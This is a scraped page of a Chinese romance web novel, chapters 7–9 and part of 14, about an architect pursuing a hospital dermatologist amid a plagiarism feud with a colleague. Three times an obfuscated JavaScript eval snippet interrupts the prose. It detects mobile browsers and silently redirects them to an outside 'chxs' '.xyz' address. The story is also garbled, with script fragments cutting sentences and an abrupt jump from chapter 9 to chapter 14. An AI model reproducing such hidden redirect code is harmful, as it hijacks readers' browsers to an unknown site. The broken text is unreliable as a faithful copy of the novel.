《我惦记你很久了》 7. 第 7 章 建筑师的工作很忙。 996属于基操,通宵也是常态。 喻了了的最高记录是连续工作了46小时,到第三天早上才找了个犄角旮旯补觉,然后不到傍晚就又得爬起来继续干活。 工作日基本是在22点之后下班,也不知从什么时候开始,周六在潜意识里也被归类为工作日,所以唯一相对清闲的日子,有且只有周日。 疲惫一周,喻了了照常睡到中午,才抱着被子坐起来,对着乱七八糟的房间思考,该在这唯一一天的休息日里做点什么。 五分钟后,她揉着眼睛下床,洗漱收拾完后下楼吃了下午饭,然后就径直去了长济体检中心。 昨晚她就进官网看过,本来是想直接预约的,但那上头的体检套餐五花八门,也不知道区别在哪儿,看了半天也没想好该订哪款。 相比动脑她还是更愿意动脚,索性还是去趟医院让医生给推荐一下。 结果证明她是对的,套餐上总有些项目是鸡肋的,而真正需要的又不一定全都有,并不适合所有人群。 最后她听取建议,在总表上勾选了自己需要的项目,然后生成了一个个性化清单,预约在明天早上进行体检。 付完款后,喻了了拿着表单站到一旁,又进OA系统走了个调休流程,做完这些之后时间才刚过两点。 她不由点进微信,打开某个对话框。 原意是想约他出来,却一时也想不到要出来干嘛,又想起昨天在面店听到的对话,他好像是想今天在家里休息来着。 大家工作都挺辛苦的,也不是谁都像她精力这么旺盛,非要把人喊出来好像也不太好,就还是等明天体检完,再顺道过去找他一下好了。 这么想着,她又点开了他的朋友圈。 显示是半年可见,但内容其实不多,发布频率大概在一个月两条左右,总共也就十来条,不仔细点儿看的话,一下也就翻到底了。 喻了了看着三个月前的一条动态。 照片里是一盒中式糕点,包装很精美,总共有六个小格口,每个格口的糕点样式都不同,却都一样精致,其中一格是空的,应该是拿出来吃了,配文就两个字:还行。 她点开图片,放大了店铺LOGO,然后上网搜了一下。 一盒398,位置在江对面的4A景区附近,从这里坐地铁过去要将近两小时,排队也得将近两小时。 喻了了歪了歪头,一脸山猪吃不了细糠的疑惑,完全不懂这种店为什么能开起来且还没有倒闭。 但想到他好像还蛮挑食的,“还行”应该就算是很不错的评价了,就又觉得这种店既然存在,应该就也有它存在的理由。 她估算了下时间,发现现在过去的话应该还能赶上,就关掉手机,出医院左拐进了地铁,一路来到郊区。 出站时将近四点,见太阳好像没那么毒了,她又扫了辆共享单车,直接骑到店铺门口,然后快速站到大排场龙的人群后面。 这里远离市区,风景空气倒还蛮怡人,整个片区的节奏也都慢悠悠的,喻了了效率至上惯了,这会儿看着人们悠闲地走在石板路上,挽着同伴嬉笑打闹,也难得跟着放松下来。 就是如果空调能延伸到室外就更好了。 又两个小时过去,她才终于热汗淋漓地提着糕点踏上回程的路,到家时天早就黑了,但一想到距离明天也没几小时了,就又隐隐有点激动。 - 隔天一早,是长济的例行月会。 会议室里,各部门相继汇报完本月工作后,也终于迎来了院长的总结陈词,可直至一切落下帷幕,此前风波不小的抄袭事件也依然没有被提及,更别说是通报和惩处。 事情不知是怎么解决的,但就目前看来,倒像是从未发生过一样。 不少特意留到最后准备吃瓜的人,此时都不免有些扫兴,稀稀拉拉地往外走去,继续平凡而朴实的一天。 直到人群相继散开,周晨才低声挨了下边上的人:“冯主任手段可以啊!你这都把梁正豪告卫生局了,他都硬是给保下来了?还一点儿风声也没往外漏!” 说着又摇了摇头:“我还真是难以理解,那傻叉要能力没口碑,要口碑没力能的,至于让他花那么大力气把事情摁下去嘛?万一就遭反噬了呢?” 时霁轻哂:“能力越大责任越大,哪儿不好理解?” 周晨匪夷所思:“你管包庇叫责任?” “不然呢。”时霁不以为意:“叫呵护?” “……”周晨脑海一下浮现出那两人师心相亲的画面,不由哆嗦了下:“还是责任吧。” 他说回正事:“那你咋弄?” “好不容易才坑那傻叉一把,总不能再写一篇让他抄?虽然他智商是低,但就是再低也很难—— “周医生!”梁正豪提步与两人并肩,咬牙扬起个和善的笑:“在说什么呢?” “……” 周晨愣了一下,见正主都出现了,倒省得他再费劲压低声音:“说抄袭呢,欸你说,有些人怎么就能把抄袭干那么顺手呢?” 没等梁正豪回答,时霁就接了话:“也不太顺手。” “?” “上回让人抄了一篇。”他啧了一声,不无嫌弃地说:“没抄明白。” 事后他甚至还反思过,这事说不定还真不能判定为抄袭,因为最后被发表的那篇文章,他是真的没脸认领。 梁正豪:“……” “噗哈哈哈哈哈哈——” 周晨捂着肚子笑了半天,才接上话茬:“靠——这得是什么级别的傻泡啊?还好没把你名儿一块抄了,不然你这脸可就丢大了!” 梁正豪脸快绿成韭菜,颐指气使地瞪着两人:“你们有证据吗就说人抄袭,现在污蔑是不用付法律责任了吗?还是你们科的素质就仅此而已?” 他看向时霁,警告意味满满:“不管是哪种,我都奉劝你们收敛一点,学医这么多年不容易,别到时候祸从口出,污蔑不成,连工作都保不住!” “嘿——” 周晨都听傻了:“这有后台的就是硬气哈,抄袭都不用负责任,现在连别人的工作都能随便拿捏——” “算了。”时霁忽然把人摁住。 余光经由科室门前,而后不无落寞地扯了下嘴角,苦笑着妥协:“事情都过去了,就这样吧。” 周晨:“?” 梁正豪:“??” …… 直到看清科室门前站着的人是谁,周晨才反应过来这家伙演的是哪一出! 而梁正豪显然还是不明所以,眼睛就像两道X光,看病毒一样扫视他,却还是看不透他到底又在憋什么招,半晌才一脸“你有病吧”的表情,非常膈应地走开了。 周晨目送他离开后,又往前走了几步,想了一下后说:“喻了了是吧?你怎么来了?” 问完又觉得自己好像在说废话,很快就指着边上的人:“找他?” “嗯。” 喻了了也没避讳,点头把手里的一个袋子递出去:“时医生,这个给你。” “靠——” 周晨看着包装袋上熟悉的LOGO,明显有些破防:“你特意去巫霞买的?!” 这不就是几个月前科里一起去景区玩儿,然后他打赌输了,被迫去排了两小时的队买来的天价甜品吗? 当时他千辛万苦买回来,不仅没等到一句好话,还被羞辱似的写进朋友圈,得到一句很勉强的评价:还行。 “嗯。”被这样渲染了一下,喻了了倒有点儿不好意思了:“昨天正好没事,就过去了一趟。” 她摸了摸耳朵,把另外一袋递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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喻了了觉得自己说服了他,还蛮有成就感的笑了一下,然后就暂时把这个话题揭过,以免他再找理由拒绝,而后想到什么,又指着刚才梁正豪离开的方向问:“你刚刚是被欺负了吗?” 没听错的话,他好像是被抄袭了,而且抄袭者还很狂妄,不仅不承认错误,还威胁他如果声张的话,可能会连工作都保不住。 “怎么。” 时霁没答,低眸回视着她,表情隐隐有些自嘲:“又想为了我打倒恶势力?” “啊?”喻了了不觉有些懊恼,想是想的,但她好像没那个本事,琢磨了一会儿才问:“报警可以吗?” “……” 时霁有点不想理她,又怕她真这么干,就还是回了句:“可以,但我自己来就好。” “哦。”喻了了想到报警确实还是自己来比较好,也没多想:“好。” 兜里的手机响起来,是住院部那边在呼人。 时霁接完,又颠了颠手里的甜品,打开她的对话框问:“多少钱?我转你。”上回是周晨买的,他也不知道价格。 “不用不用。” 喻了了连忙摆手:“本来就是专门给你买的!” “不是专门吧?” 他意味不明地扯了下嘴角,十分严谨地说:“不是买了两份吗。” “啊?”喻了了有点愣:“那不是……周医生帮了我的忙吗?那份就只是为了谢谢他而已啊。” 并且还是顺道,跟给你的这份存在本质不同好吗! 时霁却有自己的计较:“伸手。” 喻了了不知道他要干嘛,却还是听话地照做了:“怎么了?” “我可没帮你的忙。” 时霁把袋子送回她手里,很有原则地说:“就不方便收了。” 8. 第 8 章 喻了了抱着甜品袋,一脸迷茫地目送他离开。 可能是之前要联系方式时打下过基础,被拒绝习惯了,好像也就没有那么难以接受了,原地郁闷了会儿,便也提步准备离开。 到一楼时经过一块医务人员的介绍墙,她想到什么,又驻足扫了一圈,认出刚才那个出言不逊的是的人叫梁正豪,是整形外科的医生。 她忽而拧了下眉,非常合理的怀疑,搞不好自己被拒也有他的原因,要不是他把人心情搞砸,说不定时霁就能欣然接受自己的礼物了呢? 而且抄袭本来就不对!不肯承认错误还反过来威胁别人就可恶了! 这么想着,她便又转身上楼,一路来到整形外科。 虽然也没想好要干嘛,法治社会,也不可能上去就给人一拳,但在看到梁正豪从身边经过时,她还是下意识就把人叫住了:“梁医生。” 梁正豪回头:“你是?” 喻了了打量着面前的人,客观评价,算是比较在意外形且确实挺会打扮的那类人,虽然脸上散发着浓浓的科技味儿,却不得不承认,比她是要精致得多。 她眨了眨眼,真诚发问:“我想问一下,你的双眼皮是在哪里做的?” 边上候诊的人不少,闻言也纷纷看了过来。 梁正豪稍愣了下,倒也没觉得冒犯。 毕竟科技时代,整形微调已经非常普及了,且来到这个科室来的人,基本也都是有相同需求的群体,慕名而来想要求同款的现象,更多还是意味着肯定与欣赏。 感受到周围的目光,他含蓄地笑了一下:“我这个可能很难做到同款,但你要是感兴趣的话,可以先去挂个号……” 话音未落,喻了了忽然拧眉,众目睽睽下评价:“好丑。” “……” - “噗哈哈哈哈哈哈——” 食堂里,几个皮肤科医生凑在一起观赏这段小视频,差点没笑岔气:“你看他那个脸没?绿得跟块苔藓似的,美男人设轰然倒塌啊!” “还说呢,今早他的号本来都挂满了,结果来了这么一出,当场就被退了不少号!据说那脸本来只是微绿,是在诊室干坐了一上午之后,才变成墨绿的。” “哈哈哈哈哈——虽然但是,他那双眼皮又不是自己做的,又不能代表自身水平,现在的患者都这么现实了吗?” “那能怪患者吗!整形医生虽然不能给自己手术,但就从他的选择,还是能说明审美吧?要不怎么不挑个能割得好点儿的人来做?” “那审美不好意味着什么?意味着他就算技术没问题,做出来的效果也不会好看啊!这还不严重吗?!” “就是!这就好比一个地中海要给你推荐防脱秘方,你敢用吗?” “还真是……” “话说回来,这小姐姐谁啊?气势这么非同凡响,长得也挺好看的,感觉也不像是要去整形的样子啊。” “不管是谁,就冲这事,以后她就是咱们的自己人了!” 等大家议论得差不多了,周晨才把手机掉了个头,冲对面正一根根把胡萝卜丝往外挑的戏精说:“采访一下,您现在心情如何呢?” 随口卖了波惨,当下就收获奇效,关键这正主哪里又有一点受欺负的迹象?说是乐在其中都不足为过吧? 不知道为什么,现在比起梁正豪,他更想扁的好像另有其人。 时霁刚刚在边上也听了几圈,这会儿见屏幕转向自己,倒也十分配合地掀了眼皮,兴致还不错地从头过目一遍。 没等看完,沈长耀就发现端倪,凑过来问:“什么意思?认识啊?” “哈!岂止认识?”周晨收回手机,又指了指刚才因为没处放,就一路提到食堂来的甜品说:“看到没?一盒398,排队两小时,来回四小时,才能买到的玩意儿,人为了送他,还特意给我也带了一盒。” 杜青林:“靠,下血本了啊这是……” 时霁不知被哪句话触到,意味不明扯了下嘴角,便以一副主人翁的语气说:“一共六块,手慢就没了。” 周晨:“?” 没等他反应过来,边上几人就已形同饿狼扑了过来,三下五除二地把他的东西抢劫一空:“我我我!我也要——” “也给我留一块——” “喂!喂喂喂——这盒是我的啊喂!” 周晨手忙脚乱地站起来阻止,最后也只抢回一个空袋子,凌乱过后才回过头来,气急败坏看着面前的罪魁祸首:“你这个狗!自己不肯要也不让我吃是吧?!” 时霁扬了扬眉,倒打一耙:“手慢怪谁?” “你果然就是故意——” 周晨刚要拍案而起,冷不丁又想到什么:“等会儿——” “我怎么记得上回买这玩意儿,已经是几个月前的事了?但你朋友圈不一直是三天可见吗?所以她是怎么知道你会吃这个的?” 说着便摸出手机,求证似的打开他的朋友圈,最后果不其然:“靠——孔雀开屏啊你!什么时候改成半年的?不会就是前两天??” 时霁把最后一根胡萝卜剔除,看着餐盘里干干净净的土豆丝。 唇角轻掀,不置可否。 周晨简直叹为观止:“……” 沈长耀却满脸疑惑:“什么跟什么啊?我怎么一句也听不懂?” “不用听懂!” 周晨深恶痛绝,并衷心建议:“你只要记得,没事离这个黑心怪远点就行!” 关于这一点,沈长耀倒是包赞同的,只是在远离之前,他还是想问一句:“那你两到底跟人熟不熟啊?能把人约出来,互相认识认识不?” 基于过往经验,他压根就不认为时霁会对女人感兴趣,反倒是他,对这种又美又飒、不服就干的类型,是真的完全没有抵抗力! 他面露兴奋,刚开始畅想,对面就兜头破来一盆冷水:“别想了。” 沈长耀:“为啥?” 时霁扯着嘴角,语气凉凉:“她是个颜控。” 沈长耀:“?” “虽然但是……” 周晨没是忍住:“噗哈哈哈哈哈哈——” 杜青林狼吞虎咽干完,也含糊地接了一句:“都跟你说要远离了还不听,自取其辱你就是。” 沈长耀:“……” 说话间,时霁已经把不吃的食材全部挑拣干净,却仍是面露挑剔,一副食欲不佳的样子。 他随便吃了几口,尽力做到少浪费之后就端着餐盘起身,准备到外头的蛋糕房看看。 刚往外走了几步,就猝不及防和正在找空座的梁正豪撞了个正着。 也不知出于什么心态,梁正豪一看到这张目空一切的脸就来气,便就这么一动不动杵在原地,一副但凡让一步就算我输的架势看着他。 时霁便也礼貌垂眸。 俯视片刻后,才像刚发现某种玄机似的,看着他的眼皮失笑出声,无意伤害,却饱含同情:“还真挺丑。” 继而便一副礼让老弱病残的姿态,主动侧身让行。 梁正豪:“……” - 蛋糕房最终也没去成。 时霁刚出食堂,就被一个电话呼走,连着跑完几间病房,又被喊去加入一个会诊,等终于稍闲下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359383|152873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来时,太阳都已西斜。 正往值班室走着,兜里手机又响起来,来电显示为江院长。 他划过接听,一道年迈的声音便随之响起:“小叙啊。” 时霁顿了下,不冷不热“嗯”了一声。 江绍礼温厚道:“你送来的证据已经顺利提交了,有关部门正在核实,过流程还要一定的时间,一旦确认就可以往下通报了。” 时霁简单应和:“好。” 江绍礼又故作严肃:“爷爷帮了你这么大忙,你就轻飘飘一句好啊?” 时霁轻笑着纠正:“江院长,这话不太对吧。” “监督医疗风气是否健康,协助打击不良医疗环境,不是公职人员应尽的义务吗?怎么能算是帮我的忙呢。” 江绍礼也当仁不让:“那定期回家看望长辈,抽空陪爷爷奶奶吃顿饭,是不是小辈应尽的义务呢?” 时霁失笑:“您是不是忘了,我早就不姓江了。” “臭小子!”江绍礼气急:“别跟我在这儿贫,这周末必须给我回来一趟!” 时霁却还是没有明确答应:“再说吧。” 他挂了电话,刚进值班室坐下,住院部的小护士就提着一袋外卖进来,见怪不怪地放到他桌上:“时医生,又是你的外卖。” “……” 时霁脱掉眼镜揉了揉眉心,无端就有点烦躁,却还是抬头说了声:“谢谢。” “不客气。” 人一走,周晨就滑着办公椅滚过来了:“那我就不客气了。” 因为近乎变态的洁癖,时霁基本是不点外卖的,但颜值身材摆在那里,隔三差五就有人上赶着给他送东西,他却从来碰都不碰。 能拒的当面就拒了,没法拒的基本都便宜了他。 周晨记着中午痛失的那口,心里默念着是甜品是甜品,打开一看发现真是,又有点儿新奇:“嚯——今天什么日子啊,全都送的甜品?” 正要继续往下拆,时霁却忽然偏头,扯过面单看了一眼。 填的是他的名字,电话是虚拟号,并不能锁定什么,他却鬼使神差地解开手机,点进了某个对话框。 没过多久,上头就开始“正在输入”,很快蹦出一句:【时医生,外卖收到了吗?】 他舒展着眼角往后靠,佯做疑惑道:【你点的?】 喻了了:【嗯嗯.jpg】 她很认真地说明:【贿赂一下,下周记得要帮我看报告哦,这样就算是帮我的忙了,可以收!】 他薄唇轻掀,没等说话,对面又强调了一句:【这次就只点了一份!是专门给你一个人点的!】 【收下吧收下吧.jpg】 【再拒绝的话我真的会很没有面子的!】 “嗤——” 时霁看着屏幕里可怜兮兮的小人,没忍住偏头笑开。 周晨的关注点全在甜品上,也没管他在找谁确认,又莫名其妙在笑什么:“可以吃了吧?” 他已经迫不及待要拆,然而手还没碰上袋子就被无情挡开,抬头便见他眉眼染着春风,十分衣冠禽兽地说:“想吃自己买去。” “?”周晨满脸震惊:“白嫖的东西你这么小气??” 时霁兀自取出甜品,随口应说:“不是白嫖。” “演出费。”他看着面前用料简单干净,卖相不错的甜品,心安理得地勾了勾唇:“属于劳动所得。” “?”周晨想起他今天的卖力演出,大概猜到这外卖是谁送的的同时,也彻底被他的无耻颠覆三观:“……” 果然。 不要脸的人先享受世界对吗? 9. 第 9 章 喻了了有个意外发现。 虽然每次接近他都会惨遭拒绝,过程可能还会有一点儿囧,但好像只要再坚持一把,问题就不会太大。 所以隔了两天,她试图约他周末一起出去,又再次被拒时,整个人都显得格外安详,半点脾气都没有。 老实说,她其实还蛮庆幸他有点难搞的。 因为要不是这样,他大概早八百年前就被人追走了,又哪里还轮得到自己。 心态放平,她很快又乐观起来。 这周虽然没约到,但下周一就要去取报告了,他也接受了自己的投喂,四舍五入就算是答应帮她看报告了,到时候再当面约一波,说不定就又可以了呢? 这么想着,周末也变得没那么难熬。 甚至因为有了空闲时间,还不到周一,她就又有了新的灵感。 因为私心想在看完报告之后还能再发生点儿什么,她就把时间定在了下午四点,赶在医院下班前才到自助机领取。 想着一会儿结束后,还能借感谢为由再请他吃个饭。 哪知有这种想法的人,也并不只有她一个。 …… 傍晚时分。 医院里的人流已经大幅下降,整个皮肤科的廊道也不过寥寥几人,就显得当中那对男女的存在格外显眼。 女生穿着纯白色的收腰短裙,把身材衬得窈窕纤细,栗色卷发挽在耳后,略施粉黛的五官小巧精致。这会儿和一身白大褂的时霁相对站着,打远一看,有点像穿了情侣装,连气质都在同个层面上。 她羞红着脸问:“你差不多也快下班了吧?我在周公馆定了位置,晚上一起去吃个饭好吗?” 喻了了下意识想上去截胡,又觉得好像不太道德。 换位思考一下,如果是她满面春色的正在约人时,突然跑出来一个人打断自己,她应该也会觉得非常不爽。 本着公平竞争的原则,她还是决定先观望一会儿,想着起码也得等人被拒了之后再说,一抬头,发现时霁不知什么时候已经看过来了。 像是见她半天没动,还站在那儿不知道在琢磨些什么,而有些疑惑地偏了偏头:“还不过来?” “啊?” 喻了了左右张望一圈,见边上也并没有其他什么人,应该就是在喊自己没错之后,更加懵了。 这时候喊她,难道是需要帮忙的意思? 时霁见她原地又站了会儿,看表情像是在做什么心理建设,半晌才下定决心似的走过来。 他瞥了眼她手里的报告,刚要伸手去够,她另只手就绕了个弯,顺势滑进他的虎口,板着脸对面前的女生说:“请问你找他有什么事吗?” 时霁:“……?” 他臂膀一僵,明显有些措手不及。 颜舒更是一脸惊愕,不可置信地看着两人交握在一起的手:“你、你是?” “……”时霁也有点想问。 但牵着他的手忽然又抓紧了下,像是因为经验不足,她的神态有些不自然,耳根也在不知觉中染红,气势却还挺足:“不明显吗?” 喻了了原本是有点紧张,才下意识抓了一把,抓完又感觉手感不赖,就不自觉地开始胡乱拨愣起来。 “……”时霁感觉自己像个玩具。 可能不太准确,但可以肯定的是,他并不享受这种“被玩弄”的感受,便旋了下掌心,挣开后反扣住她的手腕,将不安分的人抓个正着,又顺势把她的手往上一带,一副要公示于众的样子,冲对面敷衍了句:“抱歉,我还有事。” 就抓着“罪犯”私下处理去了。 而这场面在外人看来,无疑是熟稔到有些超过的。 像在调情。 角落里,路过的梁正豪看到这一幕,却讥讽地上前拆台:“他们没什么关系。” 颜舒红着眼眶回头:“什么?” 他嗤笑了声,面上是毫不掩饰的鄙夷:“你猜他为什么到现在还是单身?” - 诊室里。 时霁把门带上后松手,而后回身压低视线,审视了会儿才语气不明地问:“平时电视剧没少看?” “也……还行吧。”喻了了心虚地摸摸耳朵,一时也不确定这话是不是在夸她,又不自觉地补了句:“是觉得我演得还不错嘛?” “……” 时霁的眉眼皱出疑惑的弧度,沉默半天,才找回自己的声音:“少看点儿。” “对脑子不好。” “……”喻了了噎了一下,又有点不服气:“那还不是你让我帮忙的?” “?”时霁却有点懵:“我什么时候让你帮忙了?” “你说——”她抬头,学着他刚才样子,偏头催促了下:“还不过来?” “不就是要我过去帮忙的意思吗?”八点档都是这么演。 “……” 时霁又沉默半天,才匪夷所思地撤开视线,低眸抽走她拿了一路的报告,亮到她面前说:“我难道不是让你过来看报告?” “……” “念了一周这事儿,终于取来了又站在边上看热闹,我催一下不合理?” “……” 喻了了脸颊爆红,有点没脸见人:“那、那你怎么不阻止我!” 时霁嗤了一声,将她精彩纷呈的表情尽收眼底后,提着报告往办公桌走:“你演那么起劲,我突然打断合适吗?” 喻了了脑子一乱,又开始胡言乱语:“那现在怎么办?我要回去解释一下吗?” 时霁抽开椅子坐下,闻言抬眸瞥她一眼,没拦:“去吧。” “……” 她都准备转身出去了,才猛不丁想起外面那个人好像是自己的情敌,好不容易把人劝退了,现在又要出去劝回来? 而且她能怎么解释?对不起虽然他现在还不是我男朋友,但应该很快就是了,所以还是请你不要再来打扰他了? 这不是神经病吗? 喻了了咳了一声,又不动声色转回来:“还是算了。” 然后就跟什么都没发生似的,挪到办公桌边上坐下,指着报告转移话题:“还是赶紧看完,下班要紧。” 时霁哂笑了下,没拆她台。 继而翻开报告,一栏栏地往下看。 喻了了松了口气,视线顺着他的目光往下,看到的却是他随意搭在页脚的手掌,白皙修长,骨骼分明。 翻页之前会提前伸开两指,将纸页夹在中间,确认无误后腕部抬起,指骨旋动,手背青筋微微凸起…… “这里……” 时霁刚一抬头,就发现自己又被盯上了,顿了一会儿,才气笑了似的出声警告:“喻了了。” “啊……”她恍然回神,像开小差被抓到一样,眼珠下意识开始乱转,很快又转回来,坐直了狡辩:“我有在听!” “……” 时霁瞥她一眼,也没打算和一个流氓计较眼神的尺度,只往后靠了一些,指着报告的一处说:“前面都没什么问题,但从这里可以看到,颈椎生理曲度变直,还伴有轻度反弓。” “哦。”喻了了看着他手指的落点,心猿意马地点点头:“好。” 见她不重视,时霁又曲起两指扣了扣桌面,语气严肃了些:“要注意了,再发展下去就是颈椎病了。” 喻了了这才抬头,对上他的视线问:“那怎么办?” 其实她是知道自己颈椎有问题的,之前公司体检就有查出来过,但当时看报告的医生说这很正常,现在十个人里起码八个都有这毛病,还说只要是有好好工作,基本都逃不开这个问题,没得的估计都不好意思说自己真的有在努力。 而且她除了偶尔会有点肌肉紧张之外,确实也没感觉有什么不舒服的,就一直没太在意,直到这会儿听他的语气,才有点意识到好像不是这样? 时霁想说是哪个医院的庸医说的这话,又想到自家医院的风气也就那样,就暂且揭过道:“尽量少玩手机,电脑屏幕放高一点,枕头也换一下。” “好。”喻了了认真记着,转而又问:“枕头要换成什么样的?” “护颈枕。” 时霁说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359384|152873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “或者卷块毛巾垫在后颈,让颈椎有个支撑就行。” “护颈枕是什么枕?”她是觉得家里的枕头不太舒服来着,但换了几个好像也都差不多,就偏头问他:“你有推荐吗?” 然后没等他回答,她又忽然灵光一现,跃跃欲试地说:“要不一会儿我请你吃饭,吃完之后你陪我去挑一个?” 时霁:“……算盘打得挺响。” “嘿。”喻了了讪笑了下,也没否认:“互利互惠嘛!” 时霁却没直接答应,毕竟他这会儿还在加班,就是因为上周接了那份外卖,可不想再欠出去什么“外债”,到时候再被迫来个肉偿什么的,就真说不清了。 他翻过这页,一路将报告看完,发现她的身体是真的蛮好。 最大的问题就是颈椎,此外只有点小结节,就交代了几句“注意休息”、“少生气”之类的话,便地合上报告,递还给她说:“好了。” “好的谢谢。” 喻了了等的就是这一刻:“你现在是要下班了吗?” “嗯。”时霁不温不火地应了声,而后撤开椅子起身,脱下白大褂挂到后方衣架上,回过头来说:“走吧。” 喻了了一错不错地看着他蜕下职业装后的休闲打扮,俨然一副男大学生的清爽模样,想做富婆的欲望在此刻达到顶峰:“去吃饭吗?” 她站起来说:“小南山行吗?口碑还不错,离这里也挺近的,走路十分钟就能到。” 他就知道她没死心,也没一下回绝的太死:“分量太大,会吃不完。” “那四季青可以吗?”还好因为拿不准她的口味,她来之前就做了备选方案:“创意菜分量不大,也就在旁边。” 他状似犹豫地思索了下,而后绕开办公桌,先一步往外走:“味道会不会有点怪?” 喻了了又问:“黑牛馆呢?” 他继续挑刺:“好像有点油?” 她跟在他身后:“明悦轩?” 他又啧了一下:“不太喜欢海鲜。” 她坚持不懈:“山野火锅?” 而在她看不见的角度,他的唇角已经有了微妙的弧度,手指放在门把上,压了一会儿才把门打开:“太热了吧?” “……” 喻了了刚想说那你想吃什么,反正我都能请,就见刚才还满面娇羞的颜舒,正从廊道那头怒气冲冲地走过来。 几秒后来到时霁面前,不由分说甩出一个巴掌,“啪”地一下把眼镜都打飞出去,嘴里还怒骂着:“有病不早说,浪费我这么长时间!下头男!” 做完这一切,依然不解气似的,又走到眼镜的落点,奋力踩了两脚,才气急败坏地转身离开。 “……” 喻了了愣在原地,还没反应过来事情的走向,梁正豪也从边上过来,“不小心”踢到已经碎掉的眼镜,然后表情夸张地“哎呀”了声,同情地看向时霁:“抱歉啊,我真不是故意的。” “但你还是要反思下,这么平白无故挨巴掌,到底是不是自己做人有问题?” 时霁冷笑了下,不用猜就知道是怎么回事了。 并不见得有多生气,反倒因为激出了他的阴暗面,还有点儿病态的愉悦:“受教。” 梁正豪只当他在强撑,心情大好地拍拍他肩,以一副前辈的口吻劝说:“做人还是收敛点,别冒头的好,不然容易连自己是怎么死的都不知道。” 说着便收手,准备离开时视线后置了些,没注意到跟前的状况,冷不丁被人绊了一下,差点就脸朝地摔了个狗吃屎,踉跄几步后勉强稳住,挂在脸上的眼镜却也摔出了几米远。 他高度近视加散光,眼镜一丢跟瞎了也差不了多少,条件反射地大呼小叫:“眼镜!我的眼镜——” 喻了了看着他无头苍蝇似的转了几圈,也非常恩怨分明的没有破坏他的眼镜,只用力踢了一脚,然后把话还给他:“梁医生,做人还是收敛点,别冒头的好,不然容易连自己是怎么死的都不知道!” 说完就捡回时霁碎掉的那副,上前拉着人说:“我们走。” 14-20 第14章 第14章你要气死我? 一直到抵达餐厅,时霁整个人的状态都还是非常严肃,倒也不像是在甩什么脸子,就是好像对这顿饭非常重视,以至于不能够开半点玩笑,并且一定要正襟危坐,才能传达他真心的正向态度。 喻了了完全摸不着头脑,点一道菜就看他一眼,把菜单递给服务员后,还是没忍住问了:“你到怎么了?” 她虽然脑子转得不太快,但有时候感知能力还是蛮强的,就好比之前察觉到他的不开心,现在她也能很明显地感觉到,他很奇怪! 就是那种态度虽然挺好的,也挺诚恳的,但却好像有人拿着把刀架在他脖子上,逼着他要好好表现一样,真的很奇怪! 时霁清了下嗓子,连装傻都带着演技,好像真的听不懂一样,边给她烫碗边问:“什么怎么了?” “……” 喻了了只是觉得奇怪,又说不上来哪里奇怪,只能歪着脑袋猜:“是又被人欺负了吗?梁正豪?” 他保持微笑,认真回答问题:“没有啊。” 但在喻了了听来,就好像反话一样,因为他上次被欺负的时候,也是这副想要息事宁人的表情,她当即拧了下眉,一巴掌拍到桌子上:“他不是已经住院了吗?是觉得自己伤得还不够严重吗?” “……” 一个非常“喻了了”的举动,在平常的他看来,大概率是会觉得有趣,然后再顺着她的想法逗逗她,可现在他非但半点笑不出来,还好像亲身被威胁到似的,忽然感觉后腰有点凉凉…… 他赶紧给她倒了杯水,递过去好言劝说:“真的没有,而且我觉得他已经够惨了,已经决定以后要对他好一点了!” 话刚出口,连他本人都觉得这一幕太过玄幻,自己居然也有给人端茶倒水,只为了替“梁正豪”求情的一天? 喻了了半信半疑:“真的吗?” “真的真的。” “那你也不生气了?” “不气不气。” “那好吧。”喻了了这才不再多想,抱着水杯喝了一口,喝完才发现自己原来有点渴,低头又喝一口。 时霁看着她傻乎乎的模样,松了口气的同时又有点儿想笑,突然就有点难以理解,自己之前到底都是怎么脑补的? 她不一直都是这样,说什么就信什么,是个哪怕被设计掉进坑里,也只会想着要赶紧爬出去,而不是纠结是谁在这里挖坑的性格,单纯直白,毫无城府。 就算两个月前听到她说“好像出轨了”,他又怎么会觉得这样一个人,是能够做到左右逢源而滴水不漏的呢? 她撒谎的时候那么明显,每次试图从她眼里看出什么却一无所获时,那她说的一定就是实话,他又到底为什么会觉得是她隐藏得实在太好呢? 他顿时就有种弯弯绕绕太多,结果没把老实人缠住,却自己在阴沟里翻船的感觉。 一时不知道到底是她傻,还是自己傻。 喻了了把杯子里的水喝完,想再伸手去倒,忽然又觉得手臂很痒,就转了个弯要去挠。 时霁回神,当即把人扣住:“老实点!” 喻了了痒的难受,皱着眉抬头看他,他便又瞬间清醒,立刻松了点儿劲,找回自己应有的态度说:“我的意思是……抓了会更严重,还是稍微忍一下吧。” “……噢。”她眨了眨眼,呐呐点头。 “这么巧?” 一道男声忽然插进来:“这就又碰到了……” 两人回头:“?” 高扬迟疑了下,指着他们隔空搭在一起的手说:“你们这是?” 时霁下意识就松了手,并接过她手里的杯子,举着示意了下:“她受伤了,要倒水,我帮个忙。” 喻了了忽然被松开,手臂悬空愣了一会儿:“……” 